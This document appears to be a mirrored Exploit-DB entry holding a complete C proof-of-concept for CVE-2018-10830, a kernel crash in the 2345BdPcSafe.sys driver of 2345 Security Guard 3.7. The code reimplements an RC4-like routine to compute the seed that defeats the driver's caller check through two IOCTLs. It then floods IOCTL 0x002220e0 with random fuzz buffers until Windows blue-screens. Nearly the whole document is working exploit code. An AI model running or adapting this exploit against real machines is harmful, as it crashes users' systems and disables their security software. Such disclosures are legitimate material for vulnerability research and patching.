2345 Security Guard 3.7 – ‘2345BdPcSafe.sys’ Denial of Service

  • 作者: anhkgg
    日期: 2018-05-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44615/
  • # Exploit Title: [BSODby IOCTL 0x002220e0 in 2345BdPcSafe.sysof 2345 Security Guard 3.7]
    # Date: [20180509]
    # Exploit Author: [anhkgg]
    # Vendor Homepage: [http://safe.2345.cc/]
    # Software Link: [http://dl.2345.cc/2345pcsafe/2345pcsafe_v3.7.0.9345.exe]
    # Version: [v3.7] (REQUIRED)
    # Tested on: [Windows X64]
    # CVE : [CVE-2018- 10830]
    
    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    
    struct NETFW_IOCTL_ADD_PID
    {
    	DWORD pid;
    	char seed[0x14];//4 + 14
    };//0x18
    
    #pragma pack(push)
    #pragma pack(1)
    struct NETFW_IOCTL_SET_PID
    {
    	BYTE set_state;//
    	WORD buf_len;//1
    	DWORD pid;//3
    	char buf[0x64];//7
    };//6B
    #pragma pack(pop)
    
    int __stdcall f_XOR__12A30(BYTE *a1, BYTE *a2)
    {
    	BYTE *a1_; // eax
    
    	a1_ = a1;
    	*a1_ ^= *a2;
    	*a2 ^= *a1;
    	*a1_ ^= *a2;
    	return (int)a1_;
    }
    
    int __stdcall sub_12A80(char *a1, int len, char *a3)
    {
    	int result;
    	unsigned __int8 v4;
    	__int16 i;
    	__int16 j;
    	unsigned __int8 k;
    
    	for (i = 0; i < 256; ++i)
    		a3[i] = i;
    	a3[256] = 0;
    	a3[257] = 0;
    	k = 0;
    	v4 = 0;
    	result = 0;
    	for (j = 0; j < 256; ++j)
    	{
    		v4 += a3[j] + a1[k];
    		f_XOR__12A30((BYTE*)&a3[j], (BYTE*)&a3[v4]);
    		result = (k + 1) / len;
    		k = (k + 1) % len;
    	}
    	return result;
    }
    
    char *__stdcall sub_12B60(char *a1, signed int len, char *a3)
    {
    	char *v3; // esi
    	unsigned int v4; // ebx
    	unsigned __int8 result; // al
    	int v6; // edi
    	char *v7; // ST18_4
    	int v8; // [esp+14h] [ebp-8h]
    	int v9; // [esp+18h] [ebp-4h]
    	unsigned __int8 v10; // [esp+2Fh] [ebp+13h]
    
    	v3 = a3;
    	v4 = a3[256];
    	result = a3[257];
    	v9 = 0;
    	if (len > 0)
    	{
    		v6 = (unsigned __int8)v4;
    		v8 = 0;
    		while (1)
    		{
    			v4 = (v6 + 1) & 0x800000FF;
    			v6 = (unsigned __int8)v4;
    			v10 = v3[(unsigned __int8)v4] + result;
    			v7 = &v3[v10];
    			f_XOR__12A30((BYTE*)&v3[(unsigned __int8)v4], (BYTE*)v7);
    			a1[v8] ^= v3[(unsigned __int8)(v3[(unsigned __int8)v4] + *v7)];
    			v8 = (signed __int16)++v9;
    			if ((signed __int16)v9 >= len)
    				break;
    			result = v10;
    		}
    		result = v10;
    	}
    	v3[256] = v4;
    	v3[257] = result;
    	return (char *)result;
    }
    
    void calc_seed(char* seed, char* dst)
    {
    	char Source1[26] = { 0 };
    	char a3[300] = { 0 };
    
    	Source1[0] = 8;
    	Source1[1] = 14;
    	Source1[2] = 8;
    	Source1[3] = 10;
    	Source1[4] = 2;
    	Source1[5] = 3;
    	Source1[6] = 29;
    	Source1[7] = 23;
    	Source1[8] = 13;
    	Source1[9] = 3;
    	Source1[10] = 15;
    	Source1[11] = 22;
    	Source1[12] = 15;
    	Source1[13] = 7;
    	Source1[14] = 91;
    	Source1[15] = 4;
    	Source1[16] = 18;
    	Source1[17] = 26;
    	Source1[18] = 26;
    	Source1[19] = 3;
    	Source1[20] = 4;
    	Source1[21] = 1;
    	Source1[22] = 15;
    	Source1[23] = 25;
    	Source1[24] = 10;
    	Source1[25] = 13;
    
    	sub_12A80(seed, 0x14, a3); 
    	sub_12B60(Source1, 0x1A, a3);
    	memcpy(dst, Source1, 26);
    }
    
    BOOL BypassChk(HANDLE h)
    {
    	DWORD BytesReturned = 0;
    
    	DWORD ctlcode = 0x222090;
    	NETFW_IOCTL_ADD_PID add_pid = { 0 };
    	add_pid.pid = GetCurrentProcessId();
    
    	if (!DeviceIoControl(h, ctlcode, &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &BytesReturned, NULL)) {
    		printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
    		return FALSE;
    	}
    
    	ctlcode = 0x222094;
    	NETFW_IOCTL_SET_PID set_pid = { 0 };
    	set_pid.pid = GetCurrentProcessId();
    	set_pid.set_state = 1;
    
    	calc_seed(add_pid.seed, set_pid.buf);
    	set_pid.buf_len = 26;
    
    	if (!DeviceIoControl(h, ctlcode, &set_pid, sizeof(NETFW_IOCTL_SET_PID), &set_pid, sizeof(NETFW_IOCTL_SET_PID), &BytesReturned, NULL)) {
    		printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
    		return FALSE;
    	}
    
    	return TRUE;
    }
    
    HANDLE OpenDevice(char* path)
    {
    	return CreateFileA(path,
    		GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
    		NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    }
    
    CHAR asciiString10[0x10];
    CHAR asciiString100[0x100];
    CHAR asciiString1000[0x1000];
    WCHAR unicodeString10[0x10];
    WCHAR unicodeString100[0x100];
    WCHAR unicodeString1000[0x1000];
    DWORD tableDwords[0x100];
    
    DWORD FuzzConstants[] = {
    	0x00000000, 0x00000001, 0x00000004, 0xFFFFFFFF,
    	0x00001000, 0xFFFF0000, 0xFFFFFFFE, 0xFFFFFFF0,
    	0xFFFFFFFC, 0x70000000, 0x7FFEFFFF, 0x7FFFFFFF,
    	0x80000000,
    	(DWORD)asciiString10,
    	(DWORD)asciiString100,
    	(DWORD)asciiString1000,
    	(DWORD)unicodeString10,
    	(DWORD)unicodeString100,
    	(DWORD)unicodeString1000,
    	(DWORD)tableDwords
    };
    
    /* Period parameters */
    #define N 624
    #define M 397
    #define MATRIX_A 0x9908b0dfUL /* constant vector a */
    #define UPPER_MASK 0x80000000UL /* most significant w-r bits */
    #define LOWER_MASK 0x7fffffffUL /* least significant r bits */
    
    static unsigned long mt[N]; /* the array for the state vector*/
    static int mti = N + 1; /* mti==N+1 means mt[N] is not initialized */
    
    /* initializes mt[N] with a seed */
    void init_genrand(unsigned long s)
    {
    	mt[0] = s & 0xffffffffUL;
    	for (mti = 1; mti < N; mti++) {
    		mt[mti] =
    			(1812433253UL * (mt[mti - 1] ^ (mt[mti - 1] >> 30)) + mti);
    		/* See Knuth TAOCP Vol2. 3rd Ed. P.106 for multiplier. */
    		/* In the previous versions, MSBs of the seed affect */
    		/* only MSBs of the array mt[].*/
    		/* 2002/01/09 modified by Makoto Matsumoto */
    		mt[mti] &= 0xffffffffUL;
    		/* for >32 bit machines */
    	}
    }
    
    /* generates a random number on [0,0xffffffff]-interval */
    unsigned long genrand_int32(void)
    {
    	unsigned long y;
    	static unsigned long mag01[2] = { 0x0UL, MATRIX_A };
    	/* mag01[x] = x * MATRIX_Afor x=0,1 */
    
    	if (mti >= N) { /* generate N words at one time */
    		int kk;
    
    		if (mti == N + 1) /* if init_genrand() has not been called, */
    			init_genrand(5489UL); /* a default initial seed is used */
    
    		for (kk = 0; kk < N - M; kk++) {
    			y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK);
    			mt[kk] = mt[kk + M] ^ (y >> 1) ^ mag01[y & 0x1UL];
    		}
    		for (; kk < N - 1; kk++) {
    			y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK);
    			mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ mag01[y & 0x1UL];
    		}
    		y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK);
    		mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ mag01[y & 0x1UL];
    
    		mti = 0;
    	}
    
    	y = mt[mti++];
    
    	/* Tempering */
    	y ^= (y >> 11);
    	y ^= (y << 7) & 0x9d2c5680UL;
    	y ^= (y << 15) & 0xefc60000UL;
    	y ^= (y >> 18);
    
    	return y;
    }
    
    unsigned long getrand(unsigned long min, unsigned long max)
    {
    	return (genrand_int32() % (max - min + 1)) + min;
    }
    
    //3.7.0.2860
    int poc_2345NetFirewall()
    {
    	
    	DWORD BytesReturned = 0;
    
    	HANDLE h = OpenDevice("\\\\.\\2345BdPcSafe");
    	if (h == INVALID_HANDLE_VALUE) {
    		printf("[-] Open device error: %d\n", GetLastError());
    		return 1;
    	}
    
    	if (!BypassChk(h)) {
    		printf("[-] error!");
    		return 1;
    	}
    
    	DWORD ctlcode = 0x002220e0;
    	BYTEbufInput[0x10000] = { 0 };
    	BYTEbufOutput[0x10000] = { 0 };
    
    	srand(time(NULL));
    	int count = 0;
    	while (count++ < 1000) {
    		// Choose a random length for the buffer
    		size_t randomLength = getrand(4, 0x400);
    
    		for (int i = 0; i < randomLength; i = i + 4) {
    			int fuzzData = FuzzConstants[getrand(0, (sizeof(FuzzConstants) / 4) - 1)];
    
    			// Choose a random element into FuzzConstants
    			bufInput[i] = fuzzData & 0x000000ff;
    			bufInput[i + 1] = (fuzzData & 0x0000ff00) >> 8;
    			bufInput[i + 2] = (fuzzData & 0x00ff0000) >> 16;
    			bufInput[i + 3] = (fuzzData & 0xff000000) >> 24;
    		}
    
    		DeviceIoControl(h,
    			ctlcode,
    			bufInput,
    			randomLength,
    			bufOutput,
    			0,
    			&BytesReturned,
    			NULL);
    
    		Sleep(10);
    	}
    
    	return 0;
    }
    
    int main()
    {
    	poc_2345NetFirewall();
    
    	printf("poc failed!\n");
    
    	getchar();
    		
    	return 0;
    }